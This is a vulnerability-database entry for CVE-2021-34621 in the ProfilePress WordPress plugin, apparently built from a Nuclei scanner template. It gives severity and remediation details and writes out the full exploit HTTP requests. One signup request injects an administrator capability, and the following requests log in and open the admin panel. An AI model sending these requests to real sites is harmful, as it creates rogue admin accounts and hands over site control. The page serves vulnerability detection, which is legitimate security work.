🔙 목록으로 돌아가기

CVE-2021-34621: WordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness

TitleWordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness
Author0xsapra
SeverityCritical
ImpactAn attacker can exploit this vulnerability to create unauthorized admin accounts and gain full control over the WordPress site.
RemediationUpdate to the latest version of ProfilePress to fix the admin user creation weakness.
CVSS Score9.8
EPSS Score0.92771
CVE IDCVE-2021-34621
CWE IDCWE-306,CWE-269
Tags cve2021 cve wordpress wp-plugin packetstorm intrusive properfraction vkev vuln

🔍 Vulnerability Description

ProfilePress WordPress plugin is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 1870
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------138742543134772812001999326589
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_username"



38FLONMcs4FsD9eZSpsjT6WQONP

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_email"



38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_password"



38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_password_present"



true

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_first_name"



38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="reg_last_name"



38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="_wp_http_referer"



/wp/?page_id=18

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="pp_current_url"



http://www.victim.com

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="wp_capabilities[administrator]"



1

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="signup_form_id"



1

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="signup_referrer_page"





-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="action"



pp_ajax_signup

-----------------------------138742543134772812001999326589

Content-Disposition: form-data; name="melange_id"





-----------------------------138742543134772812001999326589--
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 104
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip

log=38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh&pwd=38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh&wp-submit=Log+In
GET /wp-admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Accept: */*
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34621.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34621.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A